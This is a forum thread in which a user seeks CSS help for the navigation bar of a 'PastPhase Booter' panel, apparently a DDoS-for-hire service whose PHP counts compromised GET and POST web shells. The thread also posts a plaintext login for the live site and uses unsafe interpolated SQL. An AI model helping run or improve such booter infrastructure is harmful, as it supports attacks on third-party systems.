Navigation showed proper now not anymore?

HTML & CSS
1

300×300 14.3 KB

My navigation is totally dead.

It showed properly, before I added into my php file.
Now it shows miserable :frowning:

Anyone any idea?
The css file path is correct, so are the images.

HTML Code


<?php 
include 'dbc.php';
page_protect();
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>PastPhase Booter - Twistart Designs</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta name="viewport" content="width=device-width; initial-scale=1.0; maximum-scale=1.0;">
<link rel="stylesheet" href="img/style.css" type="text/css" media="screen">
<script language=javascript type='text/javascript'>
function hidediv() {
if (document.getElementById) { // DOM3 = IE5, NS6
document.getElementById('yshout').style.visibility = 'hidden';
}
else {
if (document.layers) { // Netscape 4
document.yshout.visibility = 'hidden';
}
else { // IE 4
document.all.yshout.style.visibility = 'hidden';
}
}
}

function showdiv() {
if (document.getElementById) { // DOM3 = IE5, NS6
document.getElementById('yshout').style.visibility = 'visible';
}
else {
if (document.layers) { // Netscape 4
document.yshout.visibility = 'visible';
}
else { // IE 4
document.all.yshout.style.visibility = 'visible';
}
}
}
</script> 
</head>
<body>
<?php 
$rs_settings = mysql_query("select * from users where id='$_SESSION[user_id]'");
if (isset($_SESSION['user_id'])) {?>
<!-- wrap starts here -->
<div id="header-wrap">
	<div id="topbar">
		<div id="topbar-left">
		You are currently signed in as <b><?php while ($row_settings = mysql_fetch_array($rs_settings)) {?>
		<? echo $row_settings['user_name']; ?>
		<?php } ?>
		</b>
		</div>
		<div id="topbar-right">
		<?php
$link = mysql_connect(DB_HOST, DB_USER, DB_PASS); 
mysql_select_db(DB_NAME, $link); 
$result = mysql_query("SELECT * FROM getshells", $link); 
$num_rows = mysql_num_rows($result); 
$result2 = mysql_query("SELECT * FROM postshells", $link); 
$num_rows2 = mysql_num_rows($result2); 

$shellsOnline = $num_rows + $num_rows2;

echo "There are currently <b>" . $shellsOnline . "</b> shells online. <b>" . $num_rows . "</b> GET SHELLS | <b>" . $num_rows2 . "</b> POST SHELLS.";
?>
		</div>
</div>
<div id="main-nav-wrapper">
                <div id="main-nav-content">
<ul id="main-nav" class="menu">
<li><a href="#"><strong>Home</strong><span> </span></a></li>
<li><a href="#"><strong>Booter</strong><span> </span></a></li>
<li><a href="#"><strong>Updates</strong><span> </span></a></li>
<li><a href="#"><strong>Settings</strong><span> </span></a></li>
<li><a href="#"><strong>Shoutbox</strong><span> </span></a></li>
<li><a href="#"><strong>Tools</strong><span> </span></a></li>
<li><a href="#"><strong>Logout</strong><span> </span></a></li>
<li id="admin"><?php } if (checkAdmin()) { ?><a href="#"><strong>Admin Panel</strong></a>
</li>
<?php } ?>
</ul>
</li>
</ul>
                </div>
	<div id="main-nav-shadow">
	</div>
</div>

CSS Code


@charset "utf-8";

html, body, div, span, applet, object, iframe,
h1, h2, h3, h4, h5, h6, blockquote, pre,
a, abbr, acronym, address, big, cite, code,
del, dfn, em, font, img, ins, kbd, q, s, samp,
small, strike, strong, sub, sup, tt, var,
dl, dt, dd, ol, ul, li,
fieldset, form, label, legend,
table, caption, tbody, tfoot, thead, tr, th, td {
	margin: 0;
	padding: 0;
	border: 0;
	outline: 0;
	font-weight: inherit;
	font-style: inherit;
	font-size: 100%;
	vertical-align: baseline;
        list-style:none outside none;
}
:focus {
	outline: 0;
}

.one-half, .one-third, .two-thirds,
.one-fourth, .three-fourths, .one-fifth,
.two-fifths, .three-fifths, .four-fifths,
.one-sixth, .five-sixths { float: left; margin: 0 30px 30px 0; }
.one { width: 960px; float: left; margin-bottom: 30px; }
.one-half { width: 465px; }
.one-third { width: 300px; }
.two-thirds { width: 630px; }
.one-fourth { width: 217px; }
.three-fourths { width: 711px; }
.one-fifth { width: 168px; }
.two-fifths { width: 366px }
.three-fifths { width: 564px; }
.four-fifths { width: 762px; }
.one-sixth { width: 135px; }
.five-sixths { width: 795px; }
.group { float: left; width: 100%; }
.block { float: left; width: 100%; margin-bottom: 30px; }
.last { margin-right: 0 !important; }
.clear { clear: both; }
.full { margin-bottom: 30px; }

body {
color:#575757;
font:14px/21px Arial,Helvetica,sans-serif;
line-height: 22px;
font-family: "Verdana", Times, serif;
position: relative;
}

.clearfix:after { content: "."; display: block; height: 0; clear: both; visibility: hidden; } .clearfix { display: inline-block; } /* Hide from IE Mac \\*/ .clearfix { display: block; } /* End hide from IE Mac */ .none { display: none; } /* End Clearfix */

strong {
font-weight: bold;
}
em {
font-style: italic;
}

#topbar {
    height: 50px;
    background: #1a1a1a;
    position: relative;
    z-index: 20;
    color:#fff;
    line-height: 45px;
    font-size:12px;
}

#topbar-left {
    float:left;
    margin-left:2%;
    height: 25px;
}

#topbar-right {
    float:right;
    margin-right:2%;
    text-align: center;
}

#main-nav-wrapper {
    height: 50px;
    background: url(main-nav-bg.png) repeat-x !important;
    position: relative;
    z-index: 10;

}
#main-nav-content {
    width: 960px;
    margin: 0 auto;
}
#main-nav {
      background: url(main-nav-separator.png) no-repeat top right;
      float: left;
      padding-right: 2px;
}
#main-nav li {
    float: left;
    background: url(main-nav-separator.png) no-repeat;
    padding: 0 1px;
    position: relative;
}
#main-nav li a {
    color:#555555;
display:block;
font-size:13px;
font-weight:bold;
height:50px;
line-height:50px !important;
padding:0 25px;
text-decoration:none;
text-shadow:1px 1px 1px #FFFFFF;
}
#main-nav li a:hover, #main-nav li .menu-on {
    background: #fff;
    border-bottom: 1px solid #d2d2d2;
    height: 49px;
}
#main-nav li#admin a:hover, #main-nav li .menu-on {
    background: #dcffb7;
    border-bottom: 1px solid #d2d2d2;
    height: 49px;
}
#main-nav-shadow {
    height: 3px;
    width: 100%;
    position: absolute;
    top: 1px;
    left: 0;
    background: url(main-nav-shadow.png) repeat-x;
}

#main-nav ul li ul {
    top: -1px;
    left: 200px;
    border-top: 1px solid #d8d8d8;
}

#main-nav ul {
    display: none;
    position: absolute;
    top: 50px;
    left: 0;
    z-index: 99;
    background: #f5f5f5;
    border-right: 1px solid #d8d8d8;
    width: 200px;
}
#main-nav ul li {
    float: left;
}
#main-nav ul li a {
   background: url(sub-sep.png) repeat-x bottom left;
   width: 149px;
 }
#main-nav ul li a:hover {
    border-right: 1px solid #d8d8d8;
    border-bottom: 1px solid #e1e0e0;

}

#content {
    text-align:center;
    position: relative;
    margin-left:6px;
    margin-right:6px;
}
#content-wrap {
    width: 70%;
    position: relative;
    margin: 0 auto;
    float:center;
    margin-top: 20px;
    overflow:hidden;
}
#bar-left {
    background: url(bar-left.png) no-repeat;
    width: 12px;
    height: 58px;
    float: left;
    margin-left:-6px;
    position: relative;
}

#bar-mid {
    background: url(bar-mid.png) repeat-x;
    height: 58px;
    width:100%;
    text-align:left;
    line-height:55px;
    font-weight:bold;
}

#bar-right {
    background: url(bar-right.png) no-repeat;
    width:12px;
    height:58px;
    margin-right:-6px;
    float:right;
}
#cont-wrap {
    width: 69.9%;
    margin: 0 auto;
    float:center;
    margin-top: 20px;
    margin-top:-5px;
    border:#dedede 1px solid;
    background:#f7f7f7;
    height:600px;
}
#cont {
    font-family:Verdana, Geneva;
    font-size:12px;
}

#footer-wrap {
     background: url(logo-wrapper-bg.png) repeat;
     overflow: hidden;
}

#footer-content {
    padding: 50px 0 10px 0;
    width: 960px;
    margin: 0 auto;
}
#small-footer-wrap {
    background: #fff;
}
#small-footer-content {
    width: 960px;
    margin: 0 auto;
    padding: 5px 0 7px 0;
    overflow: hidden;
    font-family: Verdana, Geneva;
    font-size: 10px;
}
#small-footer-content a {
    color: #bc3c38 !important;
}
#small-footer-content-left {
    float: left;
}
#small-footer-content-right {
    float: right;
}
#bar {
    position:relative;
    margin:10px;
    height:50px;
    border:1px solid #efedc7;
    background:#fffad0;
    min-height:0px;
    -webkit-border-radius:5px;
    -moz-border-radius:5px;
    border-radius: 5px;
    padding:1px 15px 3px 12px;
    overflow:hidden;
}
* html #bar {
    height:15px;
}
#bar p {
    font-family:Verdana, Geneva;
    color:#717061;
    font-size:11px;
    line-height:30px;
}
#bar a {
    color:#b6d47c;
    font-weight:bold;
    text-decoration:none;
}
#bar2 {
    position:relative;
    margin:10px;
    border:1px solid #c7d3f8;
    background:#dce3ff;
    min-height:0px;
    height:50px;
    -webkit-border-radius:5px;
    -moz-border-radius:5px;
    border-radius: 5px;
    padding:1px 15px 3px 12px;
    overflow:hidden;
}
* html #bar2 {
    height:15px;
}
#bar2 p {
    font-family:Verdana, Geneva;
    color:#717061;
    font-size:11px;
    line-height:30px;
}
#bar2 a {
    position:absolute;
    color:#b6d47c;
    text-decoration:none;
}

#baron {
    position:relative;
    margin:10px;
    background:#ececec;
    min-height:0px;
    height:30px;
    -webkit-border-radius:5px;
    -moz-border-radius:5px;
    border-radius: 5px;
    padding:10px 15px 5px 12px;
    overflow:hidden;
}
* html #baron {
    height:15px;
}
#baron p {
    font-family:Verdana, Geneva;
    color:#717061;
    font-size:12px;
}

#baroff {
    position:relative;
    margin:10px;
    min-height:0px;
    height:30px;
    -webkit-border-radius:5px;
    -moz-border-radius:5px;
    border-radius: 5px;
    padding:10px 15px 5px 12px;
    overflow:hidden;
}
* html #baroff {
    height:15px;
}
#baroff p {
    font-family:Verdana, Geneva;
    color:#717061;
    font-size:12px;
}
#icon {
    margin-left:auto;
    margin-right:auto;
    float:left;
    line-height:58px;
    font-family:Verdana, Geneva;
    color:#717061;
    font-size:11px;
}
2

Could you post a link to an actual page where this is happening, so we can see exactly what is going on?

(And that CSS file is just plain godawful. Wholescale resets should not be used. No element, class or ID that doesn’t feature in your HTML should ever appear in your CSS. Grid based frameworks break all the time. Disabling the focus outline is pure evil and destroys the accessibility of the page for many people. This is why I would always encourage people to write their own CSS from scratch, and never to just copy a generic pile of carp that someone else has made up)

3

That looks like Meyers so it’s obviously not carp. I use a minimalistic approach as well but plenty of people do as OP did. I would guess it’s prob about 33/33/33. 1/3 use like Meyers. 1/3 use total reset *. 1/3 use there own minimal reset. And I’m sure there is a large set that don’t reset at all.

4

I’m not that good in css.
And yeah I think I messed up alot.

I fixed navigation now, but the content is **** its all through each other.
www.pastphase.net

5

Actually, in it’s latest version of reset, after a poll, Eric has decided not to mess with focus any more.

While it probably is more than you asked for, it’s easy to overlook something when not using a CSS reset. So, it’s not the end of the world using a generic one each time.

6

Does anyone have like teamviewer and perhaps could help me a bit.

7

Something else is badgered as well … there’s no styling at all. Of course, that’s just the login page, so I don’t know if it gets any better once you get beyond the drawbridge.

8

Check the booter page :
user : admin@booter.com
pass : admin

Then go to booter

9

OK, now you’ll need to say what’s wrong with it, which browser you’re using, and what it should be doing…

10

The current issue I’m having is the navigation is fixed finally.

Had to add few extra things.

But my site doesn’t center while the float is on center.
content wrap and content itself even tried to center body.

I’m using Mozilla mainly, but trying to keep opera, firefox, internet best viewed.

Giving me a headache though :injured: